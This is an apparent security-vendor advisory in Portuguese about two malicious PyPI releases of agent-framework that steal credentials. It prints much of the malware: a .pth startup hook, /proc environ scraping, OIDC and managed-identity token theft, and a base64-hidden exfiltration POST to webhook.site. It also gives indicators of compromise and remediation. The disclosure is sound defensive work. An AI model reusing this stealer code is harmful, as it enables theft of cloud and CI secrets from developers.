17 de novembro de 2026

Duas versões maliciosas de uma estrutura de agentes foram publicadas no PyPI em 33 minutos

TL;DR:

estrutura de agentes 1.26.1 e 1.26.2, duas versões maliciosas do metapacote do Microsoft Agent Framework no PyPI, publicadas com um intervalo de 33 minutos a 17 de novembro de 2026, executam um programa de roubo de credenciais sempre que o Python é iniciado, visando o Azure, o Azure DevOps e o GitHub Actions secrets. Ambas foram removidas do PyPI. Fixar agent-framework==1.26.0 e atualizar todos os segredos em qualquer máquina que tenha instalado qualquer uma das versões.

Quem é afectado

Estás afetado se tiveres instalado estrutura de agentes 1.26.1 ou 1.26.2 entre as 20:35 UTC e aproximadamente as 21:20 UTC de 17 de novembro de 2026, seja diretamente ou através de um requisito pouco rigoroso como agent-framework>=1.26. A aplicação regista cerca de 190 000 downloads por mês, pelo que mesmo um período de 45 minutos acaba por fazer diferença.

É na CI que isto causa mais problemas. Uma compilação em pipeline ou no modo « container » que tenha sido executada numa instalação nova durante esse período executou o programa de roubo de dados com os recursos a que a tarefa tinha acesso. No Azure DevOps, isso significa que SYSTEM_ACCESSTOKEN e as ligações de serviço do pipeline. No GitHub Actions, a versão 1.26.2 procura o token OIDC em qualquer fluxo de trabalho com id-token: write podem solicitar. Os portáteis dos programadores e as máquinas virtuais do Azure com uma identidade gerida associada também estão expostos.

Detetar o problema com o Aikido Security

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Como corrigir

  • Verifique junto de pip show agent-framework, e procure agent_framework_meta.pth ou af_runtime_diag.pth no teu site-packages diretórios, incluindo caches de CI e imagens do container criadas desde 17 de novembro.
  • Fixar agent-framework==1.26.0 e reconstruir os ambientes afetados.
  • Trate todos os segredos a que a máquina possa ter acesso como se tivessem sido roubados. Isso inclui tokens de acesso pessoal e ligações de serviço do Azure DevOps, credenciais de entidades de serviço do Azure, tokens do GitHub, npm, PyPI e Hugging Face, credenciais do registo do Docker e tudo o que estiver em .env arquivos.
  • Analise os registos de início de sessão do Entra ID relativos às entidades de serviço e às credenciais federadas utilizadas pelos seus pipelines e fluxos de trabalho.
  • Procure nos registos do seu proxy e do DNS por ligações a webhook[.]site.

A remoção do pacote impede execuções futuras, mas não anula nada do que já foi enviado.

Visão Geral

A 17 de novembro de 2026, a Microsoft estrutura de agentes Um pacote no PyPI foi comprometido. Às 20:35 UTC, surgiu a versão 1.26.1 com um programa de roubo de credenciais que é executado sempre que o Python é iniciado, independentemente de o pacote ser importado ou não, e que envia credenciais de serviços na nuvem e de integração contínua ( secrets ) para um URL do webhook.site. estrutura de agentes é o metapacote para Estrutura do Microsoft Agent, o SDK da Microsoft para Python destinado à criação de agentes de IA, pelo que as máquinas com maior probabilidade de o instalarem são aquelas que possuem credenciais do Azure que valem a pena roubar.

Desmontámos o sistema enquanto este ainda estava ativo. Em seguida, o atacante voltou a fazer o upload. Trinta e três minutos após o primeiro upload, a versão 1.26.2 já estava no PyPI e a 1.26.1 tinha desaparecido, substituída pelo mesmo programa de roubo de dados com um novo nome de ficheiro e um novo alvo no GitHub Actions. Às 21:20 UTC, ambas as versões tinham sido removidas e a 1.26.0 voltava a ser a versão mais recente.

A versão 1.26.1 parece ser uma atualização de rotina

O atacante limitou a primeira alteração a um pequeno ajuste. A versão 1.26.1 tem o mesmo ficheiro README e o mesmo agent-framework-core[all]==1.26.0 A versão 1.26.0, lançada cinco dias antes, pelo que um PR do bot de dependências a atualizar-lhe a versão pareceria apenas ruído de rotina. Ao comparar as duas versões, verificam-se dois ficheiros novos e um ficheiro editado.

  • agent_framework_meta.pth: não estava presente na versão 1.26.0, foi adicionado na versão 1.26.1
  • agent_framework_meta/_telemetry.py: não estava presente na versão 1.26.0, foi adicionado na versão 1.26.1
  • agent_framework_meta/__init__.py: 853 bytes na versão 1.26.0, 994 bytes na versão 1.26.1 com o carregador adicionado

A embalagem também revela o segredo. O canal de lançamento da Microsoft publica este pacote como um ficheiro «wheel» e uma distribuição de código-fonte (sdist), e os dois ficheiros da versão 1.26.0 foram publicados com um intervalo de 40 segundos. A versão 1.26.1 tem apenas um ficheiro «wheel». No seu interior, o RODA O ficheiro mantém o carimbo temporal provisório da compilação original, enquanto METADADOS, REGISTRO, e os ficheiros editados e adicionados têm todos a data de 17 de novembro. Os dois ficheiros inseridos também são graváveis por todos (rw-rw-rw-), ao contrário de tudo o resto no pacote. Isso encaixa-se no perfil de alguém que descompactou um «wheel» legítimo, o editou manualmente e carregou o ficheiro reempacotado com credenciais de publicação válidas. Ainda não se sabe como é que essa pessoa obteve essas credenciais.

Como é que o «stealer» consegue ser executado

O gancho .pth

Quando o Python é iniciado, o seu módulo do site lê cada .pth arquivo em site-packages. Estes ficheiros servem para adicionar diretórios ao caminho de importação, mas qualquer linha que comece por importar é executado. Os Wheels nunca executam código durante a instalação, pelo que, no caso de um wheel, um .pth O ficheiro é o que mais se assemelha a um npm postinstall hook, e, de certa forma, é ainda pior. É executado sempre que o interpretador é iniciado nesse ambiente, o que significa que o teu código nunca precisa de importar agent_framework De todo. Correr pytest ou pip isso, por si só, já basta.

O ficheiro na versão 1.26.1 tem apenas uma linha:

import agent_framework_meta

Essa importação resulta em agent_framework_meta/__init__.py, onde o atacante acrescentou um carregador abaixo da verificação da versão legítima e o encapsulou de forma a que nunca pudesse gerar um erro:

# Hook leve para diagnóstico em tempo de execução.
try:
    de . import _telemetria como _telemetry
    _telemetry._start()
exceto Exceção:
    pass

Execução em segundo plano

_start() garante que a carga útil seja executada uma vez por árvore de processos e nunca abrande o processo Python que a acionou:

def _start():
    if os.environ.get("_AF_TEL"):
        return
    os.environ["_AF_TEL"] = "1"
    tentar:
        se hasattr(os, "fork"):
            pid = os.fork()
            se pid == 0:
                try:
                    os.setsid()
                exceto Exceção:
                    passar
                _run()
                os._exit(0)
            return
    exceto Exceção:
        passar
    try:
        import threading
        t = threading.Thread(target=_run)
        t.daemon = True
        t.start()
    exceto Exceção:
        pass

Os processos filhos herdam o _AF_TEL variável de ambiente, que impede que cada subprocesso criado pelo Python execute novamente o programa de roubo de dados. No Linux e no macOS, o programa cria um subprocesso e chama setsid(), pelo que o processo filho é separado numa sessão própria e continua a funcionar depois de o comando terminar. No Windows, onde não existe bifurcação, recorre-se a um thread de serviço.

O que o ladrão rouba

Variáveis de ambiente, incluindo as de outros processos'

O programa malicioso copia qualquer variável de ambiente cujo nome contenha uma das subcadeias de caracteres de uma longa lista, entre as quais TOKEN, SEGREDO, CHAVE, AZURE, AWS, GITHUB, HF_, OPENAI, FUNDIDORIA, SISTEMA, BUILD, PIP, NPM, e NUGET. Em seguida, diz o seguinte: /proc/<pid>/environ para um máximo de 300 processos em execução:

para e em glob.glob("/proc/[0-9]*/environ")[:300]:
    try:
        raw = open(e, "rb").read().decode("utf-8", "replace")
        hits = []
        para kv em raw.split("\x00"):
            se any(x em kv.upper() para x em ("TOKEN","SECRET","PASSWORD",«KEY=»,"ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
                hits.append(kv[:2000])

Num executor de CI, isso acede a ` secrets `, que pertence ao próprio processo do agente de compilação, para além do que tenha sido passado à etapa Python.

Ficheiros de credenciais no disco

Reúne uma lista de locais conhecidos onde se encontram as credenciais e lê até 60 ficheiros correspondentes, com menos de 256 KB cada, incluindo:

  • Estado da CLI do Azure em ~/.azure/*.json
  • pip.conf, .npmrc, .netrc, e .git-credentials
  • Do Docker config.json
  • Tokens do Hugging Face
  • Agente do Azure DevOps .credenciais arquivos em _trabalho diretórios e vss-agent instalações
  • .env e ficheiros JSON em /app e /área de trabalho, as fontes habituais da aplicação « container »

Tokens do pipeline do Azure DevOps

Se a carga útil se encontrar dentro de um pipeline do Azure DevOps, tenta gerar um token OpenID Connect (OIDC):

at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
    for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
        try:
            req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
            out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]

Os pipelines que são implementados no Azure através da federação de identidades de cargas de trabalho não armazenam um segredo de cliente. O pipeline solicita um token OIDC de curta duração ao Azure DevOps e troca-o por um ID d Microsoft Entra , obtendo assim um token de acesso do Azure como entidade de serviço da ligação de serviço. Um token OIDC roubado permite que um atacante efetue essa mesma troca e atue com quaisquer direitos que a ligação de serviço possua. A solicitação, neste caso, não transmite um serviceConnectionId, pelo que esta etapa pode falhar, dependendo da configuração do pipeline. SYSTEM_ACCESSTOKEN já está definida pela variável de ambiente «sweep» e, por si só, dá acesso aos repositórios, artefactos e pipelines da organização.

Tokens de identidade geridos

Em seguida, solicita ao ponto de acesso de identidade local tokens de acesso a 12 recursos do Azure, entre os quais o Azure Resource Manager, o Microsoft Graph, o Key Vault, o Storage, os Cognitive Services, o Azure Machine Learning, o Azure AI Foundry, o Container Registry e o Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). No App Service e no Functions, utiliza IDENTITY_ENDPOINT com o IDENTITY_HEADER secreto. Em todos os outros casos, recorre-se ao Serviço de Metadados de Instâncias do Azure (IMDS) em 169.254.169.254, que atribui tokens a qualquer processo numa VM à qual esteja associada uma identidade gerida. Além disso, obtém os metadados da instância da VM.

Enviar para casa

Tudo é enviado numa única solicitação POST. O destino é codificado em base64 na fonte para impedir que seja detetado por um grep casual:

_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# descodifica para https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb
def _post(tag, data):
    try:
        import urllib.request
        u = base64.b64decode(_ENC).decode()
        body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
        req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
        urllib.request.urlopen(req, timeout=25).read()
    except Exception:
        pass

Os dados são serializados para JSON, comprimidos com zlib e codificados em base64, sendo depois enviados com um User-Agent de af-runtime-diagnostics/1 para manter a fachada da telemetria. O Webhook.site é um serviço gratuito de inspeção de pedidos, pelo que o atacante não precisou de qualquer infraestrutura própria. Este leu os dados roubados diretamente da página do token.

Trinta e três minutos depois, 1,26,2

Às 21:08 UTC, foi publicada a versão 1.26.2, mais uma vez como um «wheel» sem «sdist», e a versão 1.26.1 foi retirada do PyPI por volta da mesma altura. A nova versão parece ter sido criada por um atacante que esperava que alguém comparasse as diferenças agent_framework_meta para identificar o primeiro. __init__.py volta ao ficheiro limpo, idêntico ao da versão 1.26.0, ao nível do byte, e a carga útil foi transferida do diretório do pacote para um módulo de nível superior com um .pth ficheiro com o nome correspondente.

  • Ganchinho inicial: agent_framework_meta.pth na versão 1.26.1, af_runtime_diag.pth na versão 1.26.2
  • Carga útil: agent_framework_meta/_telemetry.py na versão 1.26.1, af_runtime_diag.py na versão 1.26.2
  • Carregador: anexado a agent_framework_meta/__init__.py na versão 1.26.1, _start() chamada na parte inferior de af_runtime_diag.py na versão 1.26.2
  • User-Agent: af-runtime-diagnostics/1 na versão 1.26.1, runtime-diagnostics/1 na versão 1.26.2
  • Limite do ficheiro de credenciais: 60 na versão 1.26.1, 80 na versão 1.26.2
  • Roubo de credenciais OIDC no GitHub Actions: não na versão 1.26.1, sim na versão 1.26.2

O código de recolha e exfiltração é, de resto, o mesmo, até ao _ENC a string e o token do webhook.site. A verdadeira novidade é um bloco destinado ao GitHub Actions:

# GitHub Actions OIDC (Azure federated credential)
try:
    u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
    t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
    if u and t:
        for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
            try:
                sep = "&" if "?" in u else "?"
                uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
                req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
                out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]

Quando é concedido um fluxo de trabalho do GitHub Actions id-token: write, o corredor expõe ACTIONS_ID_TOKEN_REQUEST_URL e ACTIONS_ID_TOKEN_REQUEST_TOKEN para que o fluxo de trabalho possa solicitar um token OIDC. Os fluxos de trabalho que iniciam sessão no Azure com um token de troca de credenciais federadas através do Entra ID utilizam o mesmo método que o código do Azure DevOps procura explorar. Com o token em mãos, um atacante pode efetuar ele próprio a troca e agir como a identidade do fluxo de trabalho no Azure. A versão 1.26.2 também alargou o âmbito de aplicação, adicionando AÇÕES, OIDC, CORREDOR, e ARM_ à variável de ambiente «filter» e adicionando o runner alojado no GitHub _temp diretório e a pasta do Azure CLI à lista de ficheiros.

A quem se destina

A primeira versão destinava-se ao Azure DevOps e às cargas de trabalho alojadas no Azure. Meia hora depois, a segunda versão adicionou fluxos de trabalho do GitHub Actions que efetuam a implementação no Azure. Ambas as listas correspondem aos locais onde os utilizadores do Agent Framework executam o seu código, e a lista de recursos abrange os serviços de IA da Microsoft nos quais se baseiam, tais como o Azure AI Foundry e o Azure Machine Learning. Uma versão de correção com uma fixação de dependências inalterada é também o tipo de atualização que menos suspeitas suscita. Qualquer projeto com um requisito vago como agent-framework>=1.26 isso será tido em conta na próxima instalação, e Dependabot ou o Renovate terão todo o prazer em abrir o PR.

O .pth Este truque não é novidade. O ataque ao LiteLLM, em março de 2026, utilizou o mesmo gancho de arranque para executar a sua carga maliciosa sempre que o Python era iniciado, e os SDKs de IA continuam a ser alvos atraentes porque as máquinas que os instalam contêm credenciais de fornecedores de serviços na nuvem e de modelos. O Python ainda não dispõe de uma opção para desativar .pth a execução está desativada, pelo que o hook continua a ser executado muito tempo depois de já ninguém estar a consultar o registo de instalação.

A rápida divulgação de uma atualização de segurança também merece destaque. Um atacante que ainda tenha acesso de publicação pode substituir uma versão maliciosa por outra mais rapidamente do que a maioria das equipas consegue bloquear a primeira; por isso, uma correção que se baseie num único nome de ficheiro ou hash já se encontra desatualizada.

‍

Indicadores de comprometimento

Indicadores de rede

  • Endpoint de exfiltração: https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry
  • User-Agent (1.26.1): af-runtime-diagnostics/1
  • User-Agent (1.26.2): runtime-diagnostics/1

Indicadores do anfitrião

  • agent_framework_meta.pth ou af_runtime_diag.pth em site-packages
  • af_runtime_diag.py ao nível superior de site-packages
  • Variável de ambiente _AF_TEL=1 conjuntos nos processos do Python

Pacotes afetados

  • agent-framework@1.26.1
  • agent-framework@1.26.2

Hashes de ficheiros (SHA256), 1.26.1

  • agent_framework-1.26.1-py3-none-any.whl: d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110
  • agent_framework_meta/_telemetry.py: 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663
  • agent_framework_meta/__init__.py: c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02
  • agent_framework_meta.pth: 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e

Hashes de ficheiros (SHA256), 1.26.2

  • agent_framework-1.26.2-py3-none-any.whl: 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9
  • af_runtime_diag.py: 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f
  • af_runtime_diag.pth: 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes
Autores
Hunter Schwartz
Engenheiro de Segurança
Verificar por malware
Proteja seu código, Cloud e tempo de execução em um sistema centralizado. Encontre e corrija vulnerabilidades rapidamente de forma automática.
Comece gratuitamente
Compartilhar:

Adicionados recentemente

18 de novembro de 2026

O PHP agendou uma atualização de segurança crítica para 19 de novembro, incluindo o CVE-2026-115560

O PHP vai lançar atualizações de segurança críticas a 19 de novembro. Eis o que sabemos sobre o CVE-2026-115560 e como mitigar o problema antes do lançamento da correção.
Ler mais
18 de novembro de 2026

nginx2root: Vulnerabilidades críticas no nginx, incluindo uma que permite a execução remota de código (RCE) [CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425]

O nginx2root consiste em cinco vulnerabilidades críticas de RCE (execução de código remoto) do nginx, incluindo a CVE-2026-123007 no HTTP/2. Verifique se está afetado e atualize para a versão 1.31.9 ou 1.30.7 do nginx.
Ler mais
17 de novembro de 2026

Java4Shell: Falha de RCE no descodificador Base64 do OpenJDK, com versões afetadas e correção (CVE-2026-114938)

O Java4Shell é uma falha no descodificador Base64 do OpenJDK que pode permitir que os atacantes executem código remotamente, por vezes sem autenticação. Aqui estão as versões afetadas, as compilações corrigidas e como mitigar esta vulnerabilidade neste momento.
Ler mais